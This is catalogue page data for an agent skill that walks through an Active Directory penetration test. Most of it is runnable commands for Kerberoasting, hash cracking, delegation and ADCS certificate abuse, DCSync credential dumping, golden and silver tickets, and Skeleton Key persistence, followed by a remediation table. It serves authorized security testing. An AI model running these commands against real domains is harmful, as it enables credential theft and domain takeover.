[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFK88BK3ZC2PN2S0200AKJ":3,"skill-same:01M6AFK88BK3ZC2PN2S0200AKJ":127},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":71,"repositoryHtmlUrl":72,"repositoryHomepageUrl":73,"ownerHtmlUrl":74,"ownerBlogUrl":75,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6AFK88BK3ZC2PN2S0200AKJ","performing-active-directory-penetration-test",null,"Conduct a focused Active Directory penetration test using BloodHound, Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack paths, exploit Kerberos weaknesses, escalate privileges via ADCS\u002FDCSync, and demonstrate domain compromise. Use when running an authorized AD pentest from a standard domain user foothold toward Domain Admin or Enterprise Admin.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"directory","performing active directory penetration test","test","Impacket","testing","netexec","adcs","domain-compromise","t1059","t1078","kerberos","bloodhound","cybersecurity","dcsync","escalation","Enterprise","privilege-escalation","certipy","active-directory","admin","2026-11-10 10:12:30",false,"---\nname: performing-active-directory-penetration-test\ndescription: Conduct a focused Active Directory penetration test using BloodHound,\n  Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack\n  paths, exploit Kerberos weaknesses, escalate privileges via ADCS\u002FDCSync, and demonstrate\n  domain compromise. Use when running an authorized AD pentest from a standard domain\n  user foothold toward Domain Admin or Enterprise Admin.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- active-directory\n- BloodHound\n- Kerberoasting\n- Impacket\n- DCSync\n- ADCS\n- domain-compromise\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n\n# Performing Active Directory Penetration Test\n\n## Overview\n\nActive Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Standard domain user credentials (minimum starting point)\n- Network access to domain controllers (LDAP\u002F389, Kerberos\u002F88, SMB\u002F445, DNS\u002F53)\n- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz\n- Kali Linux or Windows attack machine with domain access\n\n## Phase 1 — AD Enumeration\n\n### Domain Information Gathering\n\n```bash\n# Basic domain enumeration\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users\n\n# LDAP enumeration — domain controllers\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"OU=Domain Controllers,DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\n\n# Enumerate trust relationships\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts\n\n# Enumerate domain password policy\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\n\n# Find computers with unconstrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))\" \\\n  dNSHostName\n\n# Find users with constrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=user)(msds-allowedtodelegateto=*))\" \\\n  sAMAccountName msds-allowedtodelegateto\n\n# Enumerate LAPS\nnetexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps\n```\n\n### BloodHound Attack Path Analysis\n\n```bash\n# Collect all BloodHound data\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local \\\n  -ns 10.0.0.5 -c all --zip\n\n# Alternative: SharpHound from Windows\n.\\SharpHound.exe -c All --zipfilename bloodhound_data.zip\n\n# Start BloodHound\nsudo neo4j start\nbloodhound --no-sandbox\n\n# Key Cypher queries in BloodHound:\n# - Shortest path to Domain Admin\n# - Find Kerberoastable users\n# - Find AS-REP Roastable users\n# - Find users with DCSync rights\n# - Find shortest path from owned principals\n# - Find computers where Domain Users are local admin\n```\n\n### Service Account Discovery\n\n```bash\n# Find service accounts with SPNs (Kerberoastable)\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5\n\n# Find accounts without Kerberos pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile domain_users.txt \\\n  -dc-ip 10.0.0.5 -format hashcat\n\n# Find managed service accounts\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=msDS-GroupManagedServiceAccount)\" \\\n  sAMAccountName msDS-GroupMSAMembership\n```\n\n## Phase 2 — Kerberos Attacks\n\n### Kerberoasting\n\n```bash\n# Extract TGS tickets for service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast.txt -request\n\n# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)\nhashcat -m 13100 kerberoast.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule --force\n\n# Targeted Kerberoasting with Rubeus (Windows)\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_tgs.txt\n```\n\n### AS-REP Roasting\n\n```bash\n# Target accounts without pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep.txt -format hashcat\n\n# Crack AS-REP hashes (mode 18200)\nhashcat -m 18200 asrep.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### Kerberos Delegation Attacks\n\n```bash\n# Unconstrained delegation — extract TGTs from memory\n# If you compromise a host with unconstrained delegation:\n.\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n# Force authentication from DC using PrinterBug\u002FSpoolSample\n.\\SpoolSample.exe DC01.corp.local YOURHOST.corp.local\n.\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_ticket>\n\n# Constrained delegation — S4U abuse\nimpacket-getST 'corp.local\u002Fsvc_web:WebPass123' -spn 'CIFS\u002Ffileserver.corp.local' \\\n  -dc-ip 10.0.0.5 -impersonate administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@fileserver.corp.local' -k -no-pass\n\n# Resource-Based Constrained Delegation (RBCD)\nimpacket-addcomputer 'corp.local\u002Ftestuser:Password123' -computer-name 'EVIL$' \\\n  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5\npython3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \\\n  -dc-ip 10.0.0.5 'corp.local\u002Ftestuser:Password123'\nimpacket-getST 'corp.local\u002FEVIL$:EvilPass123' -spn 'CIFS\u002Ftarget.corp.local' \\\n  -impersonate administrator -dc-ip 10.0.0.5\n```\n\n## Phase 3 — ADCS (Active Directory Certificate Services) Attacks\n\n```bash\n# Enumerate ADCS with Certipy\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \\\n  -vulnerable -stdout\n\n# ESC1 — Vulnerable certificate template (enrollee can specify SAN)\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template VulnerableWebServer -upn administrator@corp.local\n\n# Authenticate with the certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.5\n\n# ESC4 — Template ACL misconfiguration\n# Modify template to enable ESC1 conditions, then exploit as above\n\n# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template User -upn administrator@corp.local\n\n# ESC8 — NTLM relay to HTTP enrollment endpoint\ncertipy relay -target 'http:\u002F\u002Fca.corp.local\u002Fcertsrv\u002Fcertfnsh.asp' \\\n  -template DomainController\n```\n\n## Phase 4 — Domain Privilege Escalation\n\n### DCSync Attack\n\n```bash\n# DCSync — extract all domain hashes (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' -just-dc\n\n# DCSync specific user\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' \\\n  -just-dc-user krbtgt\n\n# With Mimikatz (Windows)\nmimikatz# lsadump::dcsync \u002Fdomain:corp.local \u002Fuser:krbtgt\n```\n\n### Golden Ticket\n\n```bash\n# Create Golden Ticket (requires krbtgt hash and domain SID)\nimpacket-ticketer -nthash \u003Ckrbtgt_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@dc01.corp.local' -k -no-pass\n\n# With Mimikatz\nmimikatz# kerberos::golden \u002Fuser:administrator \u002Fdomain:corp.local \\\n  \u002Fsid:S-1-5-21-... \u002Fkrbtgt:\u003Chash> \u002Fptt\n```\n\n### Silver Ticket\n\n```bash\n# Create Silver Ticket for specific service\nimpacket-ticketer -nthash \u003Cservice_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fsqlserver.corp.local administrator\n\nexport KRB5CCNAME=administrator.ccache\nimpacket-mssqlclient 'corp.local\u002Fadministrator@sqlserver.corp.local' -k -no-pass\n```\n\n## Phase 5 — Persistence Demonstration\n\n```bash\n# Skeleton Key (inject into LSASS — authorized testing only)\nmimikatz# privilege::debug\nmimikatz# misc::skeleton\n# Now any user can authenticate with \"mimikatz\" as password\n\n# AdminSDHolder persistence\n# Add controlled user to AdminSDHolder ACL\n# SDProp process propagates ACL to all protected groups every 60 minutes\n\n# SID History injection\n# Inject Domain Admin SID into low-privilege user's SID history\n\n# Document all persistence mechanisms and clean up after testing\n```\n\n## Findings and Remediation\n\n| Finding | CVSS | Remediation |\n|---------|------|-------------|\n| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |\n| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |\n| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |\n| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |\n| LLMNR\u002FNBT-NS enabled | 8.1 | Disable via GPO |\n| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |\n| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |\n\n## References\n\n- BloodHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Certipy: https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\n- HackTricks AD: https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Factive-directory-methodology\u002Findex.html\n- SpecterOps AD Security: https:\u002F\u002Fspecterops.io\u002Fblog\u002F\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n","# Performing Active Directory Penetration Test\n\n## Overview\n\nActive Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Standard domain user credentials (minimum starting point)\n- Network access to domain controllers (LDAP\u002F389, Kerberos\u002F88, SMB\u002F445, DNS\u002F53)\n- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz\n- Kali Linux or Windows attack machine with domain access\n\n## Phase 1 — AD Enumeration\n\n### Domain Information Gathering\n\n```bash\n# Basic domain enumeration\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users\n\n# LDAP enumeration — domain controllers\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"OU=Domain Controllers,DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\n\n# Enumerate trust relationships\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts\n\n# Enumerate domain password policy\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol\n\n# Enumerate Group Policy Objects\nnetexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords\n\n# Find computers with unconstrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))\" \\\n  dNSHostName\n\n# Find users with constrained delegation\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(&(objectCategory=user)(msds-allowedtodelegateto=*))\" \\\n  sAMAccountName msds-allowedtodelegateto\n\n# Enumerate LAPS\nnetexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps\n```\n\n### BloodHound Attack Path Analysis\n\n```bash\n# Collect all BloodHound data\nbloodhound-python -u 'testuser' -p 'Password123' -d corp.local \\\n  -ns 10.0.0.5 -c all --zip\n\n# Alternative: SharpHound from Windows\n.\\SharpHound.exe -c All --zipfilename bloodhound_data.zip\n\n# Start BloodHound\nsudo neo4j start\nbloodhound --no-sandbox\n\n# Key Cypher queries in BloodHound:\n# - Shortest path to Domain Admin\n# - Find Kerberoastable users\n# - Find AS-REP Roastable users\n# - Find users with DCSync rights\n# - Find shortest path from owned principals\n# - Find computers where Domain Users are local admin\n```\n\n### Service Account Discovery\n\n```bash\n# Find service accounts with SPNs (Kerberoastable)\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5\n\n# Find accounts without Kerberos pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile domain_users.txt \\\n  -dc-ip 10.0.0.5 -format hashcat\n\n# Find managed service accounts\nldapsearch -x -H ldap:\u002F\u002F10.0.0.5 -D \"testuser@corp.local\" -w \"Password123\" \\\n  -b \"DC=corp,DC=local\" \"(objectClass=msDS-GroupManagedServiceAccount)\" \\\n  sAMAccountName msDS-GroupMSAMembership\n```\n\n## Phase 2 — Kerberos Attacks\n\n### Kerberoasting\n\n```bash\n# Extract TGS tickets for service accounts\nimpacket-GetUserSPNs 'corp.local\u002Ftestuser:Password123' -dc-ip 10.0.0.5 \\\n  -outputfile kerberoast.txt -request\n\n# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)\nhashcat -m 13100 kerberoast.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule --force\n\n# Targeted Kerberoasting with Rubeus (Windows)\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_tgs.txt\n```\n\n### AS-REP Roasting\n\n```bash\n# Target accounts without pre-authentication\nimpacket-GetNPUsers 'corp.local\u002F' -usersfile users.txt -dc-ip 10.0.0.5 \\\n  -outputfile asrep.txt -format hashcat\n\n# Crack AS-REP hashes (mode 18200)\nhashcat -m 18200 asrep.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### Kerberos Delegation Attacks\n\n```bash\n# Unconstrained delegation — extract TGTs from memory\n# If you compromise a host with unconstrained delegation:\n.\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n# Force authentication from DC using PrinterBug\u002FSpoolSample\n.\\SpoolSample.exe DC01.corp.local YOURHOST.corp.local\n.\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_ticket>\n\n# Constrained delegation — S4U abuse\nimpacket-getST 'corp.local\u002Fsvc_web:WebPass123' -spn 'CIFS\u002Ffileserver.corp.local' \\\n  -dc-ip 10.0.0.5 -impersonate administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@fileserver.corp.local' -k -no-pass\n\n# Resource-Based Constrained Delegation (RBCD)\nimpacket-addcomputer 'corp.local\u002Ftestuser:Password123' -computer-name 'EVIL$' \\\n  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5\npython3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \\\n  -dc-ip 10.0.0.5 'corp.local\u002Ftestuser:Password123'\nimpacket-getST 'corp.local\u002FEVIL$:EvilPass123' -spn 'CIFS\u002Ftarget.corp.local' \\\n  -impersonate administrator -dc-ip 10.0.0.5\n```\n\n## Phase 3 — ADCS (Active Directory Certificate Services) Attacks\n\n```bash\n# Enumerate ADCS with Certipy\ncertipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \\\n  -vulnerable -stdout\n\n# ESC1 — Vulnerable certificate template (enrollee can specify SAN)\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template VulnerableWebServer -upn administrator@corp.local\n\n# Authenticate with the certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.5\n\n# ESC4 — Template ACL misconfiguration\n# Modify template to enable ESC1 conditions, then exploit as above\n\n# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA\ncertipy req -u 'testuser@corp.local' -p 'Password123' \\\n  -target ca.corp.local -ca CORP-CA \\\n  -template User -upn administrator@corp.local\n\n# ESC8 — NTLM relay to HTTP enrollment endpoint\ncertipy relay -target 'http:\u002F\u002Fca.corp.local\u002Fcertsrv\u002Fcertfnsh.asp' \\\n  -template DomainController\n```\n\n## Phase 4 — Domain Privilege Escalation\n\n### DCSync Attack\n\n```bash\n# DCSync — extract all domain hashes (requires replication rights)\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' -just-dc\n\n# DCSync specific user\nimpacket-secretsdump 'corp.local\u002Fdomainadmin:DAPass@10.0.0.5' \\\n  -just-dc-user krbtgt\n\n# With Mimikatz (Windows)\nmimikatz# lsadump::dcsync \u002Fdomain:corp.local \u002Fuser:krbtgt\n```\n\n### Golden Ticket\n\n```bash\n# Create Golden Ticket (requires krbtgt hash and domain SID)\nimpacket-ticketer -nthash \u003Ckrbtgt_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local administrator\nexport KRB5CCNAME=administrator.ccache\nimpacket-psexec 'corp.local\u002Fadministrator@dc01.corp.local' -k -no-pass\n\n# With Mimikatz\nmimikatz# kerberos::golden \u002Fuser:administrator \u002Fdomain:corp.local \\\n  \u002Fsid:S-1-5-21-... \u002Fkrbtgt:\u003Chash> \u002Fptt\n```\n\n### Silver Ticket\n\n```bash\n# Create Silver Ticket for specific service\nimpacket-ticketer -nthash \u003Cservice_nthash> -domain-sid S-1-5-21-... \\\n  -domain corp.local -spn MSSQL\u002Fsqlserver.corp.local administrator\n\nexport KRB5CCNAME=administrator.ccache\nimpacket-mssqlclient 'corp.local\u002Fadministrator@sqlserver.corp.local' -k -no-pass\n```\n\n## Phase 5 — Persistence Demonstration\n\n```bash\n# Skeleton Key (inject into LSASS — authorized testing only)\nmimikatz# privilege::debug\nmimikatz# misc::skeleton\n# Now any user can authenticate with \"mimikatz\" as password\n\n# AdminSDHolder persistence\n# Add controlled user to AdminSDHolder ACL\n# SDProp process propagates ACL to all protected groups every 60 minutes\n\n# SID History injection\n# Inject Domain Admin SID into low-privilege user's SID history\n\n# Document all persistence mechanisms and clean up after testing\n```\n\n## Findings and Remediation\n\n| Finding | CVSS | Remediation |\n|---------|------|-------------|\n| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |\n| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |\n| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |\n| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |\n| LLMNR\u002FNBT-NS enabled | 8.1 | Disable via GPO |\n| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |\n| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |\n\n## References\n\n- BloodHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Certipy: https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\n- HackTricks AD: https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Factive-directory-methodology\u002Findex.html\n- SpecterOps AD Security: https:\u002F\u002Fspecterops.io\u002Fblog\u002F\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n",{"name":5,"tags":49,"author":54,"domain":36,"license":15,"version":55,"nist_csf":56,"subdomain":61,"description":7,"mitre_attack":62},[42,50,51,27,52,53,31,40],"BloodHound","Kerberoasting","DCSync","ADCS","mahipal","1.0",[57,58,59,60],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[63,64,65,66,67],"T1595","T1190","T1059","T1078","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-active-directory-penetration-test",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-test",{"tool":84,"command":85},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-test",{"tool":87,"command":88},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FSKILL.md",true,[92,98,103,109,113,117,123],{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"assets\u002Ftemplate.md","ASSET","资产文件",1195,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fassets\u002Ftemplate.md",{"path":99,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002FLICENSE",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fapi-reference.md","REFERENCE","参考文档",2314,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fapi-reference.md",{"path":110,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fstandards.md",1125,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fstandards.md",{"path":114,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":115,"sourceHtmlUrl":116},"references\u002Fworkflows.md",1169,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Freferences\u002Fworkflows.md",{"path":118,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":121,"sourceHtmlUrl":122},"scripts\u002Fagent.py","SCRIPT","脚本",7053,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fscripts\u002Fagent.py",{"path":124,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":125,"sourceHtmlUrl":126},"scripts\u002Fprocess.py",6938,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-active-directory-penetration-test\u002Fscripts\u002Fprocess.py",[128,157,181,205,231,258],{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":137,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[134],{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[138,139,140,141,142,36,143,144,145,146,147,148,149,150,151,152,153,154,155,156],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":164,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[163],{"categoryNo":135,"categoryName":136,"taxonomyType":21,"taxonomyTypeDesc":22},[165,153,166,167,142,168,36,145,169,170,171,172,173,174,175,176,177,178,179,180],"boot","TPM","validating tpm measured boot 